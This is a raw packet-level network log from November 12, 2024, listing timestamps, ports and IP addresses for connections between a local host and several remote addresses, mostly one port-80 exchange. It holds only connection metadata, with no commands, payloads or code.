Nov 12, 2024 10:37:35.660984039 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.660995960 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.661006927 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.661017895 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.661029100 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.661040068 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.661051035 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.661052942 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.661052942 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.661052942 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.661062002 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.661073923 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.661078930 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.661086082 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.661089897 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.661113977 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.661158085 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.662293911 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.662307024 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.662314892 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.662324905 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.662334919 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.662349939 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.662350893 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.662362099 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.662372112 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.662383080 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.662384987 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.662393093 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.662415981 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.662432909 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.683321953 CET	49944	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:35.698162079 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.698230028 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.698245049 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.698255062 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.698290110 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.698364973 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.698375940 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.698386908 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.698398113 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.698421001 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.698443890 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.698612928 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.698623896 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.698657990 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.698755980 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.698765993 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.698776007 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.698791027 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.698808908 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.698976994 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.698988914 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.698998928 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.699044943 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.702230930 CET	443	49944	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:35.702255964 CET	443	49944	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:35.702294111 CET	49944	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:35.702323914 CET	443	49944	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:35.702337027 CET	49944	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:35.702554941 CET	49944	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:35.707431078 CET	443	49951	20.125.209.212	192.168.2.6
Nov 12, 2024 10:37:35.709413052 CET	49951	443	192.168.2.6	20.125.209.212
Nov 12, 2024 10:37:35.709435940 CET	443	49951	20.125.209.212	192.168.2.6
Nov 12, 2024 10:37:35.709815025 CET	443	49951	20.125.209.212	192.168.2.6
Nov 12, 2024 10:37:35.712392092 CET	49951	443	192.168.2.6	20.125.209.212
Nov 12, 2024 10:37:35.712460041 CET	443	49951	20.125.209.212	192.168.2.6
Nov 12, 2024 10:37:35.712769985 CET	49951	443	192.168.2.6	20.125.209.212
Nov 12, 2024 10:37:35.732783079 CET	49957	443	192.168.2.6	23.198.7.177
Nov 12, 2024 10:37:35.732831955 CET	443	49957	23.198.7.177	192.168.2.6
Nov 12, 2024 10:37:35.732964993 CET	49957	443	192.168.2.6	23.198.7.177
Nov 12, 2024 10:37:35.733709097 CET	49958	443	192.168.2.6	23.198.7.177
Nov 12, 2024 10:37:35.733756065 CET	443	49958	23.198.7.177	192.168.2.6
Nov 12, 2024 10:37:35.734008074 CET	49958	443	192.168.2.6	23.198.7.177
Nov 12, 2024 10:37:35.734715939 CET	49959	443	192.168.2.6	204.79.197.219
Nov 12, 2024 10:37:35.734760046 CET	443	49959	204.79.197.219	192.168.2.6
Nov 12, 2024 10:37:35.734821081 CET	49959	443	192.168.2.6	204.79.197.219
Nov 12, 2024 10:37:35.735307932 CET	49957	443	192.168.2.6	23.198.7.177
Nov 12, 2024 10:37:35.735331059 CET	443	49957	23.198.7.177	192.168.2.6
Nov 12, 2024 10:37:35.735563040 CET	49958	443	192.168.2.6	23.198.7.177
Nov 12, 2024 10:37:35.735578060 CET	443	49958	23.198.7.177	192.168.2.6
Nov 12, 2024 10:37:35.736165047 CET	49959	443	192.168.2.6	204.79.197.219
Nov 12, 2024 10:37:35.736185074 CET	443	49959	204.79.197.219	192.168.2.6
Nov 12, 2024 10:37:35.736726999 CET	49960	443	192.168.2.6	204.79.197.219
Nov 12, 2024 10:37:35.736738920 CET	443	49960	204.79.197.219	192.168.2.6
Nov 12, 2024 10:37:35.736918926 CET	49960	443	192.168.2.6	204.79.197.219
Nov 12, 2024 10:37:35.737126112 CET	49960	443	192.168.2.6	204.79.197.219
Nov 12, 2024 10:37:35.737138987 CET	443	49960	204.79.197.219	192.168.2.6
Nov 12, 2024 10:37:35.759006023 CET	49951	443	192.168.2.6	20.125.209.212
Nov 12, 2024 10:37:35.759016991 CET	443	49951	20.125.209.212	192.168.2.6
Nov 12, 2024 10:37:35.771306038 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.771348000 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.771358967 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.771370888 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.771377087 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.771416903 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.771437883 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.771496058 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.771575928 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.771589041 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.771612883 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.771682978 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.771691084 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.771703959 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.771717072 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.771728039 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.771765947 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.771893024 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.771904945 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.771918058 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.771987915 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.771987915 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.772083044 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.772120953 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.772205114 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.772216082 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.772228003 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.772239923 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.772250891 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.772263050 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.772264957 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.772278070 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.772296906 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.772322893 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.772676945 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.772690058 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.772701979 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.772712946 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.772720098 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.772728920 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.772741079 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.772753954 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.772762060 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.772766113 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.772778988 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.772790909 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.772792101 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.772810936 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.772826910 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.775677919 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.775691986 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.775702000 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.775712967 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.775723934 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.775733948 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.775744915 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.775755882 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.775758028 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.775767088 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.775778055 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.775795937 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.775810957 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.775814056 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.775824070 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.775834084 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.775844097 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.775846958 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.775855064 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.775866032 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.775866985 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.775876999 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.775877953 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.775890112 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.775899887 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.775904894 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.775909901 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.775921106 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.775930882 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.775930882 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.775943995 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.775944948 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.775957108 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.775968075 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.775970936 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.775979996 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.775990009 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.775993109 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.776004076 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.776014090 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.776015043 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.776021957 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.776026964 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.776037931 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.776046991 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.776050091 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.776060104 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.776070118 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.776070118 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.776081085 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.776082039 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.776093960 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.776103973 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.776108027 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.776114941 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.776127100 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.776128054 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.776137114 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.776146889 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.776149035 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.776165009 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.776175022 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.776648998 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.776660919 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.776670933 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.776683092 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.776693106 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.776693106 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.776711941 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.776741028 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.776834965 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.776848078 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.776856899 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.776870012 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.776879072 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.776880980 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.776890039 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.776900053 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.776910067 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.776910067 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.776922941 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.776925087 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.776951075 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.776957989 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.776974916 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.776999950 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.777868986 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.777879953 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.777889013 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.777899981 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.777909994 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.777920961 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.777930975 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.777939081 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.777941942 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.777952909 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.777965069 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.777975082 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.777981997 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.777986050 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.777998924 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.778002024 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.778012037 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.778023005 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.778044939 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.778815031 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.778826952 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.778836012 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.778867960 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.778881073 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.778961897 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.778974056 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.778983116 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.779006958 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.779011965 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.779033899 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.779108047 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.779119968 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.779129982 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.779139996 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.779150963 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.779161930 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.779161930 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.779172897 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.779184103 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.779200077 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.779742956 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.779755116 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.779766083 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.779777050 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.779786110 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.779793024 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.779797077 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.779808998 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.779819012 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.779855013 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.779879093 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.779947996 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.817111969 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.817121983 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.817131996 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.817142963 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.817153931 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.817166090 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.817169905 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.817177057 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.817188978 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.817199945 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.817202091 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.817203999 CET	443	49944	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:35.817214012 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.817220926 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.817224979 CET	443	49944	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:35.817225933 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.817238092 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.817245960 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.817255020 CET	49944	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:35.817256927 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.817269087 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.817280054 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.817281008 CET	49944	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:35.817291021 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.817292929 CET	443	49944	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:35.817301989 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.817305088 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.817305088 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.817313910 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.817343950 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.817367077 CET	49944	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:35.817367077 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.818062067 CET	443	49944	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:35.818106890 CET	49944	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:35.860857964 CET	443	49944	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:35.860933065 CET	443	49944	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:35.860935926 CET	49944	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:35.860976934 CET	49944	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:35.864392996 CET	49961	443	192.168.2.6	23.198.7.180
Nov 12, 2024 10:37:35.864442110 CET	443	49961	23.198.7.180	192.168.2.6
Nov 12, 2024 10:37:35.864641905 CET	49961	443	192.168.2.6	23.198.7.180
Nov 12, 2024 10:37:35.864873886 CET	49961	443	192.168.2.6	23.198.7.180
Nov 12, 2024 10:37:35.864887953 CET	443	49961	23.198.7.180	192.168.2.6
Nov 12, 2024 10:37:35.866095066 CET	443	49951	20.125.209.212	192.168.2.6
Nov 12, 2024 10:37:35.871335030 CET	49962	443	192.168.2.6	23.198.7.180
Nov 12, 2024 10:37:35.871360064 CET	443	49962	23.198.7.180	192.168.2.6
Nov 12, 2024 10:37:35.871969938 CET	49962	443	192.168.2.6	23.198.7.180
Nov 12, 2024 10:37:35.879595995 CET	49962	443	192.168.2.6	23.198.7.180
Nov 12, 2024 10:37:35.879617929 CET	443	49962	23.198.7.180	192.168.2.6
Nov 12, 2024 10:37:35.888271093 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.888281107 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.888293028 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.888333082 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.888359070 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.888372898 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.888394117 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.888489008 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.888500929 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.888511896 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.888534069 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.888561010 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.888561964 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.888626099 CET	80	49834	185.215.113.206	192.168.2.6
